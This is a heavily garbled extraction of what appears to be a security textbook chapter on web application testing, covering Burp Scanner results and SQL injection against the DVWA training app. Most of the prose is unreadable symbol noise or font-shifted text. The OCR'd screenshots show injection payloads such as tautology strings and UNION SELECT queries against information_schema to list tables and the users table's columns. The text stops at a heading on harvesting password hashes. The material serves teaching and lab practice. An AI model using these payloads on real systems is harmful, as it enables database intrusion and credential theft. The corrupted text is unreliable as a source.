ȱȱȱȱȱȱ¢ȱȬȱȱȱ¢ȱȱȱȱȱ
ȱȱ ȱ ǻȬȱ ȱ ȱȱ Ǽȱ ¢ȱ ȱ ȱ Ȭȱ ¡ȱ ǯȱ ȱ ¢
¢ȱȱȱȱȱ ȱȱȱ¢ȱ ȱȱǰȱȱȱȱȱ¢ȱ
ȱȱȱȱȱ¢ȱȱȱǯȱȱ¢ȱȱ¢ȱȱȱ¢ȱȱ
ȱȱȱȱ ȱ ȱȱȱȱȱȱȱȱ
ȱ ȱȱȱřǯŗŞǯ
Vou have selected 71 items for active scanning Before commuing you can use (He title JSS slow to
remove c ertam ate a on es of Hems . let make yo ur sc a n mug more ta rgetted an d effi c lent
Note Seme o< irto sole c te d item s do not yet hav* r espo nsos it you tnoose to remove items mAh
me fl ia response s some of these Hems may be te rupee d fro m me sc an when their resp o n s e s ha* e
been analysed.
cancel next
),*85( $FWLYHVFDQQLQJZL]DUGLQ%XUS6FDQQHU
5HYLHZLQJ%XUS6FDQQHU5HVXOWV
¢ȱ ¢ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ
ȱǰȱȱȱȱȱȱȱȱȱȱȬȱȱȱȱ
ǯȱȱȱȱ ȱȱȱȱȱȱȱȱǻȱǼȱȱȱ
ȱȱȱȱȱȱȱȱ¢ȱȱ ȱǯ
ȱȱȱęȬȱȱȱȱȱȱȱȱȱȱ¢ȱȱ
ȱȱȱȱȱȱȱǻȱȱȱǼǰȱ ȱ¢ȱȱ
ȱ ȱĴȱȱȱȱ¢ȱ ȱȱǻȱȱȱǼǰȱȱ
ȱȱ ȱȱ¢ȱȱȱȱȱǻŘŖŖŖȱȱȱȱǼǯȱ ȱ¢ȱ
ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ¡ȱ ǰȱ ȱ ¢ȱ ȱ ȱ ¢ȱ
ȱȱ ȱȱȱ¢ȱȱȱȱȱȱǯ
ȱȱȱȱȱȱȱǰȱȱȱȱ ȱȱ
ȱ ȱ ȱ ȱ ȱ ęȱ ǯȱ ¢ȱ ęȱ ¢ȱ ȱ
ȱ ȱ ȱ ȱ ȱȱ ȱ ȱ ȱȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱȱ ȱȱȱřǯŗşǯ
_
I (?) burp suite professional vl 2
intruder r-e-p = ati r window help
.....
burp
),*85( $FWLYHVFDQTXHXHLQ%XUS6FDQQHU
ȱȱ ȱ¢ȱȱȱęȱȱȱȱȱ¢ȱȬ
ȱȱȱȱȱȱȱ ȱȱȱřǯŘŖǯȱȱȱȱȱȱȱ ȱ
ȱ¢ȱȱ ȱȱ¡ȱȱȱȱ¢ȱȱȱȱ¢
¢ǯȱȱ ȱȱȱȬȬȱĴȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱĴȱȱȱȱȱȱǯȱȱ
ȱȱ¡ȱȱȱȱ¢ȱȱ ȱȱȱȱȱǯ
lean 26' j 1 nmf | fmiiihtd j .m y 4
patDrÿfkig i n/102/Def eu rtnihx
wsues | basg (aflutist | 6as» response |_
O SQL injection
ft SQL injection
Issue SQL injertion
Seventy High
Confidence Certain
Hast https : fhnim.myapp.com
Path .‘lflgili'IOZ'TJeftiiJt.iiishi;
Issue detail
The username parameter appears to b e vulnerable to SQL intention attacks A suigj; fixate was submitted lei the username
parameter, and a database error message was returned Two smÿe quote? wee t then sybmnted and the error message
disappeared You should review the contents of the error message, and the application's handing of other input, to confirm
whether a vuinerabihty LS pr«en1
),*85( 6LQJOHLWHPUHYLHZLQ%XUS6FDQQHU
ȱȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱ ȱȱȱȱȱȱȱȱȱȱȱȱ ȱȱ
ȱȱȱřǯŘŗǯ
(ÿ) burp mils- prdftiikinal vL2
burp intruder reefer window help
target '
prosy spiderÿ] scanner Intruder | repeater sequencer decoder f comparer comms alerts
results scan queue live scanning j_op1ions
? http s ;'www iTryapp.com <ÿ
O SOL injection [4|
i / O KTTP header Injection
o- i admin f O Cross-site scripting (reflected!) S')
*- O toniacts O ''se archil fPeTaurt asp* lSearchTerm parameter)
o- credrtcards O isearttiMMMauHaspxjSeafciiTami parameterÿ
i derautt.html ? LDAP Injection
*- ? employees Open redirection
*- X fileenchange Password Geld with auto complete enabled
6- news X SSL tooktewrtlTOut secure flag set
«- O profs X Cookie without HttpOnly flag set
v O search
t '
O 12
:x
>ÿ
Cache able HTTPS response ji 0]
X KTML does not spetrty charset |2]
),*85( 7UHHYLHZRIGLVFRYHUHGYXOQHUDELOLWLHVLQ%XUS6FDQQHU
ȱ¢Ȃȱ¢ȱȱ£ȱȱȱǻǼǰȱȱǻǼǰȱ ȱǻ¢ Ǽǰ
ȱȱ ǻǼȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ęȱ ȱǰȱ ǰȱ
ǯȱȱ¢ȱȱęȱȱȱȱ¢ȱȱȱȱ
ȱ ȱ ǰȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¢ȱ
ȱȱȱȱ¢ȱȱȱȱȱǰȱȱȱ¢ȱȱ
ȱȱȱǯ
& + $3 7 ( 5
ȱȱ¡ȱ
&KDSWHU5XQGRZQ
ŶȱȱDZȱȱȱȱȱȱ¢ȱȱ
ŶȱȱȱȱDZȱȱ ȱȱ ¢ȱȱ
Ŷȱȱȱ ȱȂȱȱ¢ȱ ȱȦȱȱ
ŶȱȱDZȱȱȱȱȱȱ¢ȱ
,QWURGXFWLRQ
ȱȱȱ¡ȱȱȱȱ¢ȱĴȱ Ȭȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ £ȱ ȱ ȱ ȱ ¡
ȱȱȱǻȱȱ Ǽȱȱ¡ȱ¢ȱ
ǻȱ ȱ ȱ Ǽǯȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ
¡ȱȱ ȱȱȱ¢ȱ¢ȱȱȱȱ¢ȱȱȱȱȱ
ȱ ǻǼǰȱ ¢ȱ ȱ ȱ ¢ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ Ĵ
ȱ¢ȱȱȱȱȱȱȱȱȱȱȱǯ
ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ǰȱ ȱ Ĵȱ
ǰȱȱȱȱȱȱȱȱȱǯȱȱ
ȱȱȱȱ¢ȱȱ ȱȱDZ
Ŷȱȱ¢ȱȱǻǼȱ
Ŷȱ ȱ¢ȱȱȱǻǼȱ
Ŷȱȱȱȱǻ
Ǽȱ
Ŷȱȱ¢ȱ
ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵ
¡¢ȱǻ Ǽǰȱǰȱȱ ȱȱȱȱȱĴȱȱ¡ȱȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ
ȱ¢ȱǯ
ȱĴȱ ȱȱȱ¢ȱ¢ȱęȱȱ ȱ¡ȱ¢ȱȱ
ȱ ¢ǰȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ¢Ƿȱ ȱ ȱ ȱ £ȱ ȱ ȱ ȱ ȱ
Ĵȱȱȱ ȱȱ ȱȱ ȱȱȱȱȱȱ
ȱ ǯȱ ȱ ȱ ȱ ¢ȱ Ĝȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱȱȱȱǯ
64/,QMHFWLRQ9XOQHUDELOLWLHV
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǻŗśȱ Ƹȱ ¢ȱ ȱ ¢ȱ
Ǽȱ¢ȱȱȱȱȱȱȱȱȱ ȱǯȱ ȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ
¢ȱ ȱȱȱȱȱȱȱǯȱ¢ȱȱ ȱȱ
ǰȱ ȱȂȱȱȱȱȱȱȱȱȱ ȱ¢Ȃȱ¢ȱȱ
ȱ ȱ ǭȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢DZȱ ȃȱ £ǰ
ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ǯȄȱ ȱ Ȃȱ ŗŖŖƖ
Ƿȱ
ȱȱȱǵǷȱ ȱȱȱȱǰȱȱǰȱȱ¢ȱȱ¢ȱȱę¡
ȱȂȱȱȱȱȱȂȱȱȱȱȱǛŗȱ ȱȱȱ¢ǯȱ ȱ
ȱ
ȱȱȱ¢ȱ¢ȱȱ ȱ ȱȱ ȱ
ȱȱȱȱȱřŖƖȱȱ¢Ȃȱ ȱǯȱǷ
64/,QWHUSUHWHU
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰ
ǰȱ ǰȱ ȱ ǯȱ ȱ ¡ǰȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ
ȱ¢ȱȱȱ ȱȱȱȱȱȱȱǯȱȱȱȱȱ ȱȱȱ
ȱ ȱȱȱ¢ȱȱȱȱ¢ȱ¢ȱȱȱȱ¡DZ
6WULQJ TXHU\ ³6(/(&7
)520 VKRHV :+(5( VKRH1DPH ¶´
UHTXHVWJHW3DUDP³WHUP´³¶´
ȱ¢ȱȱȱȱ ȱȱȱȱǰȱȱ ȱȱȱǯ
ŗǯȱȱȱȱȱȱȱ¡ȱȱȱȱȱȱȱȱ
ǯ
ŘǯȱȱȱȱȱȂȱȱȱȱȱȱȱǻȱȱȃ
Ȅȱȱȱ ȱǼǯ
řǯȱȱȱȱȱȱȱȱȱȱȱȱȱ ȱ
ȱȱȱȱȱȱȱȱȱ
ȱǯ
Śǯȱȱȱȱȱ Ȭȱȱ¢ȱȱȱȱ ȱȱ
¡ȱ¢ȱȱȱǯ
śǯȱȱȱȱȱȱȱȱȱȱ¢ȱȱȱȂȱ ǯ
ȱȱ¢Ȃȱȱ¢¡ȱȱȱ¡ȱ ȱȱȱȱDZ
6WULQJTXHU\ ³6(/(&7
)520VKRHV:+(5(VKRH1DPH ¶=RRPHUV¶´
Ĵ¢ȱ ȱ ȱ ǯȱ ȱ ȱ ¢ȱ ȱ ȱ ǻȘǼȱ ȱ ȱ ǻ ȱ ǰ
ǰȱ Ǽȱ ȱ ȱȱ ȱ ȱ ¢ȱ ȱ ȱ ȱȱ ȱ
ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱŚǯŗǯ
Ŷȱȱȱ¢ȱȱȱȱȱȱȱǻȱ¢Ǽȱȱȱȱȱ
Dzȱȱȱ ¢ȱȱȱȱȱȱȱȱȱȱȱȱ¢
ȱȱȱ¢ȱȱȱȱǯ
ŶȱȱȬȱȱȱȱȱ¢ȱȱǯȱȱ
ȱȱȱȱȱȱȱȱǯȱȱȱǰȱȱȱ
¢ȱȱ¡Ȭȱǯȱȱȱȱȱȱȱȱȱƽȱȱ
ȱȱȱȱȱȱȱȱȱǯ
7DEOH
6DPSOH64/5HVXOWVIRU6KRH6HDUFK
ȱȱȱȱȱ¢ȱȱȱ¡ȱ¢ȱȱǯ
6(/(&7
)520VKRHV:+(5(VKRH1DPH ¶=RRPHUV¶
64/)RU+DFNHUV
ȱ ȱ Ĵǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
ȱ ȱ¡ȱȱȱȱ¢ȱ¢ȱȱȱȱǯȱȱ¢ȱȱȱȱȱ
ȱǯ
ŗǯȱȱȘȱȱȱ
ȱƽȂȱȱȱȱȱȱ ȱ¢
ȱȱȱȱ ȱȱȱȱȱȱȂȱǯ
ŘǯȱȱȱȱǻǼȱȱȱȱȱȱȱȱǯȱȱȱ
ȱȱȱȱȱǯ
řǯȱȁȱȱȱȱȱȱȱ¢ȱȱȱ¢ȱȱȱȂȱ
ȱȱȱȱȱȱȱȱȱȱ¢¡ȱȱȱ¡ȱ¢ȱȱ
ǯ
ȱȱȱȱȱȱȱȱȱȱȱȱȱȱ¡ȱȱ¡
ȱ ȱȱ¢ȱ ȱȱȱȱȱȱȱȱȂ
ȱȱǯȱȱȱ¡ȱȱȱ¡ȱȱȱȱȱ ȱȱȱ
ȱ¡ǯ
=RRPHUV¶25
ȱ ȱȱȱ ȱȱȱȱȱȱȱȱ¡ǯ
6(/(&7
)520VKRHV:+(5(VKRH1DPH ¶=RRPHUV¶25 ¶
ȱǛȱ ǻȱ Ǽȱ ȱ ȱŗƽŗȱȱȱ ȱȱȱȱȱȱ
ȱ ¢ȱ ȱ ȱ ǯȱ ȱ ȱ ¢ȱ ȱ ȱȦȘȱ ȘȦȱ ȱȬȬ
ǻȱ Ǽȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢Ȃȱ
ǯȱȱ ȱȱ¢ ǰȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱȱDZ
6(/(&7
)520VKRHV:+(5(VKRH1DPH ¶=RRPHUV¶25
ȱȱȱȱȱDzȱ¢ȱȱȱ¢Ƿȱȱȱȱȱ
ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ǯȱ ȱ
ȱȱȱȱȱȱȱȱȱȂȱȱ¢ȱȱȱȱȱ
ȱ ȱ ȱ ȱ ǯȱ ȱ ¢ȱ ȱ ȱȱ ȱ ȱ ǰȱ ȱ
¢ȱȱȱȱŗƽŗȱȱ ¢ȱǯȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱ¢ȱȱȱDZ
=RRPHUV¶25µD¶ ¶D
ȱ ȱ¡¢ȱ ȱȱȱȱ ȱȱǰȱȱȱȱȱ
ȱȱȱ ȱȱ ¢ȱȱDZ
6(/(&7
)520VKRHV:+(5(VKRH1DPH ¶=RRPHUV¶25µD¶ ¶D¶
64/,QMHFWLRQ$WWDFNV
ȱȱ ȱȱȱȱȱ ȱȱ ǰȱȂȱȱȱ ȱȱ
¢ȱȱȱȱȱȱǯȱȱȱȱȱȱȱȱȱDZ
ŗǯȱȱȱȱȱȱȱȱȱȱȱȂȱǯ
Řǯȱȱȱȱȱȱȱȱȱȱȱ¢
ǯ
řǯȱ¡ȱȱȱȱȱȱȱǻ ȱ ȱȱȱ
Ǽǯ
Śǯȱȱȱ ȱȱȱ ȱ ȱȱȱȱ ȱȱȱȱ
ȱǯ
ȱ ȱ ¡ȱ ȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
ǰȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱ¢Ȃȱȱȱ ȱȱȱȩȱ ȱȱȱ ȱȱ
Śǯŗǯ
m+
Command Execution
DJtrvn VJnwmvo W» App is damn vuirHHiWe! Do not upload it toyotf hosting provider's pgplie html Tokfef Of
CSRF any internet rating web server as it Mill be compromised Wo recommend or J.-, ilcvu IVJ and Instating
onto 3 local machine inside your LAN wfwrh Is used soloty for losing.
File Inclusion
SQL Injection
Disclaimer
SQL Injection (Blind) w* do not ts*o iiwpofisiW.iy fv tho wjy .n Mh«;h (my ono uses this epputtfitn we
have mado the purpose* of
the appdc aiion c le ar and it should not ho used ma&ciou&ly. We Nave given ivaimngs and taken measures to
Upload I prevent users from install- ng QWVA on 1o tire A1*! smm |[ your wo* senior is compnom -s <!d v ia an installation
at OVWA it Is not our response Hty it is TJv? respccisIDHity of !ho personis wm uploaded and installed It
X5S M'tLl-J I
XSS stored
General Instructions
The ndp puHon allon* you Ii> vie* rttsftips for each v ulnoratrlily and for each son jfly levin on thou lospective
DVWJl Security P*3«t
PHPlnlO
About
Logout
),*85( $FFHVVLQJWKH64/LQMHFWLRQOHVVRQLQ'9:$
)LQGLQJ7KH9XOQHUDELOLW\
ȱęȱȱȱȱęȱȱ ȱȱ¢ȱȱȱǯȱŗŖȬŗśȱ¢ȱǰȱ
ȱȱ ȱęȱȱ¡ǰȱȱ ȱȱȱ¢ȱȱȱȱ
ȱȱȱ¡ȱȱ ȱȱȱ ȱǯȱȱȱȱȱ ȱ ȱ
ȱȱȱȱȱȱȱ ȱȱǯȱȱȱĴȱȱ¢ȱ
ȱ¢ȱ¢ȱȱȱ¡ȱȱȱȱȱȱȱȱȱ ȱ
¡¡ǯȱ ȱȱȱȱǰȱ ȱȱȱȱȱȱȱ ȱȱ¡ȱȱ
ȱȱȱȱ¢ȱȱȱDZ
5HON¶
ȱȱ ȱȱ ȱȱDZ
<RX KDYH DQ HUURU LQ \RXU 64/ V\QWD[ FKHFN WKH PDQXDO WKDW FRUUHVSRQGV WR
\RXU0\64/VHUYHUYHUVLRQIRUWKHULJKWV\QWD[WRXVHQHDU
5HON
DWOLQH
ȱȱǰȱȱȱȱȱȱȱ ȱȱȱȱȱǻȱ
ǼǯȱȱȂȱ ȱȱ¡ȱȱȱȱȱ¢ǰȱȱȂȱȱȱȱ
ȱȱȱȱ¢ȱ¢ȱȱȱDZ
6(/(&7
)520XVHUV:+(5(8VHUB,' ³5HON´¶
ȱ¢ǰȱȱȱȱȱȱǰȱȱ ȱȱȱȱȱ
ȱ ȱǯȱ ȱȱȱȱ¢ȱȱȱȱȱ ȱȱ
ȱȱ¢ȱȱȱȱȱ¢ȱȱȱǷȱȱȱȱ
¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ Ĵȱ ȱ ȱ £ȱ ¢
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ǯ
ȱ¢ȱȱȱȱ¢ȱȱȱ¢ȱȱȱȱȱ
ȱȱȱȱǯȱȱȱȱ¢ȱȱȱȱ¢ȱȱȱȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱƽŞŗǰȱ ¡ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ
ȱȱȱȱƽȱȱƽǯ
%\SDVVLQJ$XWKHQWLFDWLRQ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ¢ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱȱȱǰȱȱ ȱȱȱȱȱŗƽŗȱ
ȁȂƽȂȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ
¢ǯȱ
ȱȱȱ¡ȱ¢¡ȱȱȱȱƽȱȱ ȱȱȱ
ȱȱȱȱǯȱ ȱȱȱ ȱȱȱȱ¢ȱȱȱȱ
ȱȱȱ¢ȱǰȱ ȱȱȱȱȱ¢ǯȱ¢ȱȱȱȱȱDZȱ¡¡ǯ
5HON
RU
D
D
ȱ¢ȱ¢ȱ¡ȱȱȱȱȱȱȱȱ
ȱȱ ȱȱȱŚǯŘǯ
Vulnerability: SQL injection
User ID;
| Sutunil
),*85( ,QLWLDOUHVXOWVIURP64/LQMHFWLRQDWWDFN
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ǻǼȱ ȱ
ǰȱ ȱ ęȱ ȱ ȱȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ǯȱ ȱ ȱ
ȱȱȱȱȱȱȱȱȱȱȱ ȱǰȱ
ȱȱȱȱȱȱȱȱ¢ȱǯ
ȱȱȱȱȱ¢ȱȱȱ ȱȱ ȱȱĴȱ
ȱ ȱ ¡¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ǯ
ȱȱȱȱ¡¢ȱȱȱȱȱĴȱ¢ȱȱȱȱ
ȱȱ ȱ ȱ ȱȱ ȱ ȱ ȱ ȱ ȱ¡¢ȱ ǯȱ ȱ ǰȱ
ȱȱȱ ǰȱȱȱȱ¢ȱ¢ȱ¢ȱȱȱȱȱĴȱ
ȱȱ¢ȱ¢ȱęȱȱęȱȱȱȱȱȱǯȱȱȱ
ȱ¢ȱȱȱ¢ȱęȱȱȱ¢ȱĴȱȱǻȱȱȱ
ȱ ȱ ȱ ȱ Ǽȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
ȱȱǯȱȂȱ¡¢ȱȱȱȱȱ¢ȱȱǰȱȱȱȱ¢
ȱ¢ȱȱȱȱȱȱȱȱ¢ȱǯ
ȱȱȱȱŗȇȱȱȇȇƽȇȱȱȱȱěȱȱȱȱȱ
¢ȱȱȱȱ ȱȱȱŚǯřǯ
A x burp suite free edition v1.4.01
v
),*85( ,QLWLDO64/LQMHFWLRQDWWDFNFDSWXUHGLQ%XUS3UR[\
ȱ ȱ ȱ ȱ ȱȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¡ȱ ȱ ęȱ ȱ ǰȱ
Ȭȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ǯ
¢ǰȱ ȱŗȱ ȱ ȱ ȱ ȱȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱƖŘŝȱȱȱȬȱȱȱȱȱȱȱȱƖřȱȱ
ȱǯȱȱȱȱȱȱ ¢ȱȱȱ ȱȱȱȱDzȱ¢ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱƖŘŖǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱȱȱȱȱ ȱ¢ ȱȱȱȱǻȱ¢ȱ
ȱȱȱ¢ȱǼȱȱȱ ȱȱȱȱȱȱȱ¢
ȱ
ȱǯȱ ȱ¢ȱ ȱȱȱȱȱȱȱȱȱ
ǰȱ¢ȱ ȱȱȱȱȱȱȱȱȱȱǯ
KWWSYXOQHUDELOLWLHVVTOL"LG 5HONRUD'D
6XEPLW 6XEPLW
ȱȱȱȱȱȱ
ȱȱȱȱ ȱȱȱȱ ȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ¢ȱ ȱ ȱ ȱ
¡¢ǰȱȱȱ¢Ȃȱȱȱȱ¢ȱȱ¢ǯȱȱȱȱ
ȱ ȱȱȱȱȱ¢ȱȱȱȱDz
ȱȱȱȱȱ¢ȱ ȱȱȱȱȱȱ¢ȱ¢ȬȬ¢ȱ ǯȱȱȱ ǰȱȱ
ȱ ȱ ¢ȱ ȱ ȱ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱȱȱȱȱȱ¢ȱȱǯȱ ȱȱȱȱǰȱ¢ȱ ȱ
ȱȱ¢ȱȱȱȱǯ
([WUDFWLQJ$GGLWLRQDO,QIRUPDWLRQ
ȱȱ ȱȱȱȱȱȱ¢ȱȱȱ ȱȱ¢ǰȱ ȱȱ
¡ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ
ȱȱȱȱȱȱȱǯȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯ
ŗǯȱȱȱȱ
Řǯȱȱȱȱȱȱȱȱ ȱȱȱ
řǯȱȱȱȱȱȱȱȱ ȱȱȱ
Śǯȱȱȱȱȱȱ ȱȱȱ
ȱȱȱ¡ȱȱȱȱ ȱȱȱȱȱ¢ȱ
ȱȱǰȱȱȱȱȱȱȱȱȱȱȱǯ
¢ȱȱȱȱȱȱ ȱȱǰȱ ȱ ȱȱȱ¢ȱȱ
¡ǯȱȱȱȱȱ¢ȱȱ¢ȱȱǯȱȱȱ¢ȱ
ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ¡ȱ ȱ ¢
ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
¡ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ
ȱȱȱȱȱ ǰȱȱȱȱȱȱ¢ȱȱȱȱȱȱ
ȱȱǯȱȱ¢ȱ ȱȱȱ¢ȱȱ ȱȱ
ǻęȱ ȱ ȱȱ Ǽǰȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ ȱ
ǯȱȱ ȱȱȱȱȱȱ¢ȱȱȱęȱȱȱȱȱ¢
ȱȱȱȱ¢ȱȱȱ¢ǯȱȱ ȱȱȱȱȱȱǻȱǼȱȱ
ȱ ȱ ȱ ¢ȱ ¢ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȭ
ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ¢ȱ ȱ ȱ ǻǼȱ
ȱ ȱ ȱ ȱȱȱ ȱ ¢ȱ ȱ ȱȱ ȱ ȱ ȱ ȱ
ǯȱȱ ȱ ȱȱȱȱȱȱȱȱȱȱǷ
ȱȱȱȱȱȱDZ
5HON
RU XQLRQVHOHFWQXOOGDWDEDVH
ȱȱȱȱȱȱȱȱ ȱȱȱȱȱęȱȱȱȱ
ȱȱȱȱȱ ȱȱȱȱ ȱȱȱȱȱȱ ȱ
ȱȱȱ ȱȱȱȱȱȱȱȱ ȱȱȱŚǯŚǯ
User ID:
| Suborn j
ID: Rellk* DT l-l union select null, database!) 4
First name: admin
Surname: admin
ID: Rellk*
First name;
Surname: dvwa
or
& on select null, database!) #
ȱȱȱȱȱȱDZ
5HON
DQG XQLRQVHOHFWQXOOWDEOHBQDPHIURPLQIRUPDWLRQBVFKHPDWDEOHV
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǻǼ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱȱŚǯśǯȱ ȱ
ȱȱȱ¢ȱǰȱȱȱȱȱȱȱȱǷ
ID: Rellk* and l-l union select null, table name from information schema -tables *
First name:
Surname: guestbook
ID: Rellk* and 1=1 union select null, table name from information schema . tables #
First name:
Surname: columns priu
ID: Rellk' and 1=1 union select null, tahle name from information schema , tables M
First name:
Surname: db
ID: Rellk* and 1=1 union select null, table name from information schema. tables #
First name;
Surname: event
),*85( 5HVXOWVIURPLQMHFWLRQDFFHVVLQJWKHLQIRUPDWLRQVFKHPD
ȱŚǯŘȱȱȱȱȱȱȱ¢ȱȱȱȱ
ȱȱȱȱ¡ȱȱȱȱǯ
7DEOH
0HWDGDWD7DEOHVIRU3RSXODU'DWDEDVHV
'DWDEDVH 0HWDGDWD7DEOH
0\64/ LQIRUPDWLRQBVFKHPD
0664/ V\VREMHFWVRU,1)250$7,21B6&+(0$
2UDFOH DOOBXVHUBREMHFWV
3RVWJUH64/ ,1)250$7,21B6&+(0$
ȱȱȱȱȱȱȱȱȱDZ
5HON
DQG XQLRQ VHOHFW QXOO FRQFDWWDEOHBQDPH[DFROXPQBQDPH IURP
LQIRUPDWLRQBVFKHPDFROXPQVZKHUHWDEOHBQDPH
XVHUV
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ
¢ȱȱ ȱȱ¢ȱȱȱǯȱȱȱȱȱęȱȱȱ
¢ȱȱǻęȱǼȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ǻǼȱ ȱ ȱ ȱ
ȱȱǻ¢ȱȱȱȱ ȱǼȱȱȱȱǰȱȱ
ǻȱŖ¡ŖȱȱȱǼǰȱȱȱȱȱȱȱȱȱȱȱ ȱ
ȱŚǯŜǯ
UseT ID:
Submit
TO: Rell*' and 1=1 union select null, concat (table name , 0x0a. column name l
First name:
Surname: users
user td
TO: Ret Ik and 1-1 union select null, cone at f table name, 0x0a, col umn
J
name)
First name:
Surname: users
first name
ID: Rellk' and 1-1 union select null, concat ( table nane, GxDa, column name)
First name:
surname: users
last name
10: KellkÿAd l-l union select null, concati table name fextta, column name I
r: I :
user
10: Rellk' arÿÿi-1 union select null, concatltable name, Gx8a, column name)
Surname
passwoi
ID: Rellk' and 1-1 union select null, concat (table nam0rGxflap column name I
First name:
Surname: users
avatar
),*85( 5HVXOWVIURPLQMHFWLRQDFFHVVLQJWKHLQIRUPDWLRQVFKHPDIRUWKH³XVHUV´WDEOH
ȱ ¡ȱ ȱ ȱ ȱȱ ȱ ȱȏǰȱ ȏǰȱ ȏǰȱ ǰȱ ǰ
ȱǯȱ¢ǰȱ ȱȱȱȱȱȱȱȱ ȱǯ
+DUYHVWLQJ3DVVZRUG+DVKHV
ȱȱȱȱȱȱȱȱ ȱDZ
5HON
